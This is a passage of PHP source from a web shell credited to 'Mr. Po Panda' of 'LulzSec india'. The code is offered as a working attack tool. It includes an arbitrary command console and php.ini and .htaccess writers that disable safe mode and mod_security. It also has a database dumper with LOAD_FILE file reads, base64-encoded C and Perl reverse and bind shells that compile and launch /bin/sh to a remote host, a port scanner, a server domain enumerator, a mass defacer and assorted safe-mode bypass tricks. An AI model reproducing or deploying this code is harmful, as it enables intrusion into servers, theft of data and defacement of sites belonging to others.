2314 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="Submit"></form>';
2315 break;
2316 case 'touch':
2317 if( !empty($_POST['p3']) ) {
2318 $time = strtotime($_POST['p3']);
2319 if($time) {
2320 if(@touch($_POST['p1'],$time,$time))
2321 die('<script>g(null,null,null,null,"")</script>');
2322 else {
2323 echo 'Fail!<script>document.mf.p3.value="";</script>';
2324 }
2325 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
2326 }
2327 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="Submit"></form>';
2328 break;
2329 case 'mkfile':
2330 break;
2331 }
2332 echo '</div>';
2333 printFooter();
2334}
2335function actionConsole() {
2336 if(isset($_POST['ajax'])) {
2337 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2338 ob_start();
2339 echo "document.cf.cmd.value='';\n";
2340 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
2341 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
2342 if(@chdir($match[1])) {
2343 $GLOBALS['cwd'] = @getcwd();
2344 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
2345 }
2346 }
2347 echo "document.cf.output.value+='".$temp."';";
2348 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
2349 $temp = ob_get_clean();
2350 echo strlen($temp), "\n", $temp;
2351 exit;
2352 }
2353 printHeader();
2354echo '<script>
2355if(window.Event) window.captureEvents(Event.KEYDOWN);
2356var cmds = new Array("");
2357var cur = 0;
2358function kp(e) {
2359 var n = (window.Event) ? e.which : e.keyCode;
2360 if(n == 38) {
2361 cur--;
2362 if(cur>=0)
2363 document.cf.cmd.value = cmds[cur];
2364 else
2365 cur++;
2366 } else if(n == 40) {
2367 cur++;
2368 if(cur < cmds.length)
2369 document.cf.cmd.value = cmds[cur];
2370 else
2371 cur--;
2372 }
2373}
2374function add(cmd) {
2375 cmds.pop();
2376 cmds.push(cmd);
2377 cmds.push("");
2378 cur = cmds.length-1;
2379}
2380</script>';
2381 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
2382 foreach($GLOBALS['aliases'] as $n => $v) {
2383 if($v == '') {
2384 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2385 continue;
2386 }
2387 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2388 }
2389 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2390 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2391 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value="Submit"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
2392 if(!empty($_POST['p1'])) {
2393 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
2394 }
2395 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
2396 echo '</form></div><script>document.cf.cmd.focus();</script>';
2397 printFooter();
2398}
2399function actionLogout() {
2400 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
2401 echo '<body bgcolor=#000000><center><img src="http://images.all-free-download.com/images/graphiclarge/abstract_indian_shiny_flag_black_tricolor_wave_6818267.jpg"><h1><font color="#C3C3C3"> BYE BHAI <br><h2><font size="4">SHELL BY Mr. Po Panda <p><h2> LulzSec india <br><h2><font color="#C3C3C3">HINDUSTAN<font color="#fff">ZINDABAD</h2><p><font color="BLUE" font size="4">WE ARE :<marquee width="80%"> LulzSec india </marquee></font></font></font></center></body>';
2402}
2403
2404function actionBypass() {
2405 printHeader();
2406 echo '<h1>Safe Mode</h1>';
2407 echo '<div class="content">';
2408 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
2409 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
2410 if(!empty($_POST['p2']) && isset($_POST['p2']))
2411 {
2412 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
2413 fwrite($fil,'<IfModule mod_security.c>
2414 Sec------Engine Off
2415 Sec------ScanPOST Off
2416 </IfModule>');
2417 fclose($fil);
2418 }
2419 if(!empty($_POST['p1'])&& isset($_POST['p1']))
2420 {
2421 $fil=fopen($GLOBALS['cwd']."php.ini","w");
2422 fwrite($fil,'safe_mode=OFF
2423 disable_functions=NONE');
2424 fclose($fil);
2425 }
2426 if(!empty($_POST['p3']) && isset($_POST['p3']))
2427 {
2428 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
2429 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
2430 AddType application/x-httpd-cgi .sh
2431 AddHandler cgi-script .pl
2432 AddHandler cgi-script .pl');
2433 fclose($fil);
2434 }
2435 echo "<br><br /><br /></div>";
2436 echo '</div>';
2437 printFooter();
2438}
2439
2440function actionSql() {
2441 class DbClass {
2442 var $type;
2443 var $link;
2444 var $res;
2445 function DbClass($type) {
2446 $this->type = $type;
2447 }
2448 function connect($host, $user, $pass, $dbname){
2449 switch($this->type) {
2450 case 'mysql':
2451 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2452 break;
2453 case 'pgsql':
2454 $host = explode(':', $host);
2455 if(!$host[1]) $host[1]=5432;
2456 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2457 break;
2458 }
2459 return false;
2460 }
2461 function selectdb($db) {
2462 switch($this->type) {
2463 case 'mysql':
2464 if (@mysql_select_db($db))return true;
2465 break;
2466 }
2467 return false;
2468 }
2469 function query($str) {
2470 switch($this->type) {
2471 case 'mysql':
2472 return $this->res = @mysql_query($str);
2473 break;
2474 case 'pgsql':
2475 return $this->res = @pg_query($this->link,$str);
2476 break;
2477 }
2478 return false;
2479 }
2480 function fetch() {
2481 $res = func_num_args()?func_get_arg(0):$this->res;
2482 switch($this->type) {
2483 case 'mysql':
2484 return @mysql_fetch_assoc($res);
2485 break;
2486 case 'pgsql':
2487 return @pg_fetch_assoc($res);
2488 break;
2489 }
2490 return false;
2491 }
2492 function listDbs() {
2493 switch($this->type) {
2494 case 'mysql':
2495 return $this->res = @mysql_list_dbs($this->link);
2496 break;
2497 case 'pgsql':
2498 return $this->res = $this->query("SELECT datname FROM pg_database");
2499 break;
2500 }
2501 return false;
2502 }
2503 function listTables() {
2504 switch($this->type) {
2505 case 'mysql':
2506 return $this->res = $this->query('SHOW TABLES');
2507 break;
2508 case 'pgsql':
2509 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
2510 break;
2511 }
2512 return false;
2513 }
2514 function error() {
2515 switch($this->type) {
2516 case 'mysql':
2517 return @mysql_error($this->link);
2518 break;
2519 case 'pgsql':
2520 return @pg_last_error($this->link);
2521 break;
2522 }
2523 return false;
2524 }
2525 function setCharset($str) {
2526 switch($this->type) {
2527 case 'mysql':
2528 if(function_exists('mysql_set_charset'))
2529 return @mysql_set_charset($str, $this->link);
2530 else
2531 $this->query('SET CHARSET '.$str);
2532 break;
2533 case 'mysql':
2534 return @pg_set_client_encoding($this->link, $str);
2535 break;
2536 }
2537 return false;
2538 }
2539 function dump($table) {
2540 switch($this->type) {
2541 case 'mysql':
2542 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2543 $create = mysql_fetch_array($res);
2544 echo $create[1].";\n\n";
2545 $this->query('SELECT * FROM `'.$table.'`');
2546 while($item = $this->fetch()) {
2547 $columns = array();
2548 foreach($item as $k=>$v) {
2549 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2550 $columns[] = "`".$k."`";
2551 }
2552 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2553 }
2554 break;
2555 case 'pgsql':
2556 $this->query('SELECT * FROM '.$table);
2557 while($item = $this->fetch()) {
2558 $columns = array();
2559 foreach($item as $k=>$v) {
2560 $item[$k] = "'".addslashes($v)."'";
2561 $columns[] = $k;
2562 }
2563 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2564 }
2565 break;
2566 }
2567 return false;
2568 }
2569 };
2570 $db = new DbClass(@$_POST['type']);
2571 if(@$_POST['p2']=='download') {
2572 ob_start("ob_gzhandler", 4096);
2573 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2574 $db->selectdb($_POST['sql_base']);
2575 header("Content-Disposition: attachment; filename=dump.sql");
2576 header("Content-Type: text/plain");
2577 foreach($_POST['tbl'] as $v)
2578 $db->dump($v);
2579 exit;
2580 }
2581 printHeader();
2582 echo '<h1>Sql browser</h1><div class=content>
2583 <form name="sf" method="post">
2584 <table cellpadding="2" cellspacing="0">
2585 <tr>
2586 <td>Type</td>
2587 <td>Host</td>
2588 <td>Login</td>
2589 <td>Password</td>
2590 <td>Database</td>
2591 <td></td>
2592 </tr>
2593 <tr>
2594 <input type=hidden name=a value=Sql>
2595 <input type=hidden name=p1 value=\'query\'>
2596 <input type=hidden name=p2>
2597 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
2598 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2599 <td>
2600 <select name=\'type\'>
2601 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
2602 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
2603 </select></td>
2604 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
2605 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
2606 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
2607 <td>';
2608 $tmp = "<input type=text name=sql_base value=''>";
2609 if(isset($_POST['sql_host'])){
2610 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2611 switch($_POST['charset']) {
2612 case "Windows-1251": $db->setCharset('cp1251'); break;
2613 case "UTF-8": $db->setCharset('utf8'); break;
2614 case "KOI8-R": $db->setCharset('koi8r'); break;
2615 case "KOI8-U": $db->setCharset('koi8u'); break;
2616 case "cp866": $db->setCharset('cp866'); break;
2617 }
2618 $db->listDbs();
2619 echo "<select name=sql_base><option value=''></option>";
2620 while($item = $db->fetch()) {
2621 list($key, $value) = each($item);
2622 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2623 }
2624 echo '</select>';
2625 }
2626 else echo $tmp;
2627 }else
2628 echo $tmp;
2629 echo '</td>
2630 <td><input type=submit value="Submit"></td>
2631 </tr>
2632 </table>
2633 <script>
2634 function st(t,l) {
2635 document.sf.p1.value = \'select\';
2636 document.sf.p2.value = t;
2637 if(l!=null)document.sf.p3.value = l;
2638 document.sf.submit();
2639 }
2640 function is() {
2641 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
2642 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
2643 }
2644 </script>';
2645 if(isset($db) && $db->link){
2646 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2647 if(!empty($_POST['sql_base'])){
2648 $db->selectdb($_POST['sql_base']);
2649 echo "<tr><td width=1 style='border-top:1px #56A3E9;border-right:2px #56A3E9;'><span>Tables:</span><br><br>";
2650 $tbls_res = $db->listTables();
2651 while($item = $db->fetch($tbls_res)) {
2652 list($key, $value) = each($item);
2653 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2654 $value = htmlspecialchars($value);
2655 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
2656 }
2657 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px #56A3E9;'>";
2658 if(@$_POST['p1'] == 'select') {
2659 $_POST['p1'] = 'query';
2660 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
2661 $num = $db->fetch();
2662 $num = $num['n'];
2663 echo "<span>".$_POST['p2']."</span> ($num) ";
2664 for($i=0;$i<($num/30);$i++)
2665 if($i != (int)$_POST['p3'])
2666 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
2667 else
2668 echo ($i+1)," ";
2669 if($_POST['type']=='pgsql')
2670 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2671 else
2672 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2673 echo "<br><br>";
2674 }
2675 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
2676 $db->query(@$_POST['p3']);
2677 if($db->res !== false) {
2678 $title = false;
2679 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
2680 $line = 1;
2681 while($item = $db->fetch()) {
2682 if(!$title) {
2683 echo '<tr>';
2684 foreach($item as $key => $value)
2685 echo '<th>'.$key.'</th>';
2686 reset($item);
2687 $title=true;
2688 echo '</tr><tr>';
2689 $line = 2;
2690 }
2691 echo '<tr class="l'.$line.'">';
2692 $line = $line==1?2:1;
2693 foreach($item as $key => $value) {
2694 if($value == null)
2695 echo '<td><i>null</i></td>';
2696 else
2697 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2698 }
2699 echo '</tr>';
2700 }
2701 echo '</table>';
2702 } else {
2703 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2704 }
2705 }
2706 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
2707 echo "</td></tr>";
2708 }
2709 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='Submit'></form>";
2710 if(@$_POST['p1'] == 'loadfile') {
2711 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
2712 $file = $db->fetch();
2713 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2714 }
2715 }
2716 echo '</div>';
2717 printFooter();
2718}
2719function actionNetwork() {
2720 printHeader();
2721 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
2722 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2723 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
2724 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2725 echo '<h1>Network tools</h1><div class=content>
2726 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
2727 <br /><span>Bind port to /bin/sh</span><br/>
2728 Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value="Submit">
2729 </form>
2730 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
2731 <br /><br /><span>Back-connect to</span><br/>
2732 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value="Submit">
2733 </form><br>';
2734 if(isset($_POST['p1'])) {
2735 function cf($f,$t) {
2736 $w=@fopen($f,"w") or @function_exists('file_put_contents');
2737 if($w) {
2738 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
2739 @fclose($w);
2740 }
2741 }
2742 if($_POST['p1'] == 'bpc') {
2743 cf("/tmp/bp.c",$bind_port_c);
2744 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
2745 @unlink("/tmp/bp.c");
2746 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
2747 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
2748 }
2749 if($_POST['p1'] == 'bpp') {
2750 cf("/tmp/bp.pl",$bind_port_p);
2751 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
2752 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
2753 }
2754 if($_POST['p1'] == 'bcc') {
2755 cf("/tmp/bc.c",$back_connect_c);
2756 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
2757 @unlink("/tmp/bc.c");
2758 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
2759 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
2760 }
2761 if($_POST['p1'] == 'bcp') {
2762 cf("/tmp/bc.pl",$back_connect_p);
2763 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
2764 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
2765 }
2766 }
2767 echo '</div>';
2768 printFooter();
2769}
2770function actionPortScanner() {
2771 printHeader();
2772 echo '<h1>Port Scanner</h1>';
2773 echo '<div class="content">';
2774 echo '<form action="" method="post">';
2775 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
2776 $start = strip_tags($_POST['start']);
2777 $end = strip_tags($_POST['end']);
2778 $host = strip_tags($_POST['host']);
2779 for($i = $start; $i<=$end; $i++){
2780 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
2781 if($fp){
2782 echo 'Port '.$i.' is <font color=lime>open</font><br>';
2783 }
2784 flush();
2785 }
2786 } else {
2787 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
2788 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2789 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2790 Host: <input type="text" name="host" value="localhost"/><br /><br />
2791 Port start: <input type="text" name="start" value="0"/><br /><br />
2792 Port end:<input type="text" name="end" value="5000"/><br /><br />
2793 <input type="submit" value="Scan Ports" />
2794 </form></center><br /><br />';
2795 }
2796 echo '</div>';
2797 printFooter();
2798}
2799 function actionDomain() {
2800 printHeader();
2801
2802echo '<h1>Local Domains</h1><div class=content>';
2803$file = @implode(@file("/etc/named.conf"));
2804$Domain_path = "/var/named";
2805
2806if (!$file) {
2807$domains = scandir($Domain_path);
2808$count=1;
2809$dc = 0;
2810 echo "<table align=center border=1 width=59% cellpadding=5>
2811<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.conf .Domains are bypassed actually,you will face problem in symlink. </td></tr>
2812<tr><td>No</td><td>Domain</td><td>User</td></tr>";
2813foreach ($domains as &$domain) {
2814 if (stripos($domain,".db")) {
2815 $domain = str_replace('.db','',$domain);
2816
2817 }
2818 if (strlen($domain) > 6) {
2819
2820 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
2821
2822
2823 }
2824
2825 }
2826 echo "</table>";
2827}else{
2828 $count = 1;
2829 preg_match_all("#named/(.*?).db#", $file, $r);
2830 $domains = array_unique($r[1]);
2831 echo "<table align=center border=1 width=59% cellpadding=5>
2832<tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
2833<tr><td>No</td><td>Domain</td><td>User</td></tr>";
2834 foreach ($domains as $domain) {
2835
2836 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2837 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
2838 }
2839}
2840
2841 printFooter();
2842 }
2843
2844function actionDeface() {
2845 printHeader();
2846 echo "<h1>Simple Mass Defacer</h1><div class=content>";
2847?>
2848<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
2849<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
2850<br>file name : <input type=text name=file size=20 value="index.htm">
2851<br>Text Content : <input type=text name=Contents size=20 value="Hacked by Mr. Po Panda ">
2852<br><input type=submit value="Update kar de !!!!!!"></p></form>
2853
2854<?php
2855 if ($_POST['a'] == 'Deface') {
2856 $mainpath = $_POST[p1];
2857 $file = $_POST[p2];
2858 $txtContents = $_POST[p3];
2859 echo "-----------------------------------------------<br>
2860[+] Simple Mass defacer<br>
2861-----------------------------------------------<br><br> ";
2862 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
2863 while ($row = readdir($dir)) {
2864 $start = @fopen("$row/$file", "w+");
2865 $code = $txtContents;
2866 $finish = @fwrite($start, $code);
2867 if ($finish) {
2868 echo "http://$row/$file<br>";
2869 }
2870 }
2871 echo "-----------------------------------------------<br><br>[+] Script by Mr. Po Panda [+]";
2872 }
2873 echo '</div>';
2874 printFooter();
2875 }
2876
2877
2878 function actionDefacer() {
2879
2880 $temp='';
2881 ob_start();
2882 switch($_POST['p1']) {
2883 case 1:
2884 $temp=@tempnam($test, 'cx');
2885 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
2886 echo @file_get_contents($temp);
2887 unlink($temp);
2888 } else
2889 echo 'Sorry... Can\'t open file';
2890 break;
2891 case 2:
2892 $files = glob($_POST['p2'].'*');
2893 if( is_array($files) )
2894 foreach ($files as $filename)
2895 echo $filename."\n";
2896 break;
2897 case 3:
2898 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
2899 curl_exec($ch);
2900 break;
2901 case 4:
2902 ini_restore("safe_mode");
2903 ini_restore("open_basedir");
2904 include($_POST['p2']);
2905 break;
2906 case 5:
2907 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
2908 $uid = @posix_getpwuid($_POST['p2']);
2909 if ($uid)
2910 echo join(':',$uid)."\n";
2911 }
2912 break;
2913 case 6:
2914 if(!function_exists('imap_open'))break;
2915 $stream = imap_open($_POST['p2'], "", "");
2916 if ($stream == FALSE)
2917 break;
2918 echo imap_body($stream, 1);
2919 imap_close($stream);
2920 break;
2921 }
2922 $temp = ob_get_clean();
2923 printHeader();
2924 echo '<h1>Safe mode bypass</h1><div class=content>';
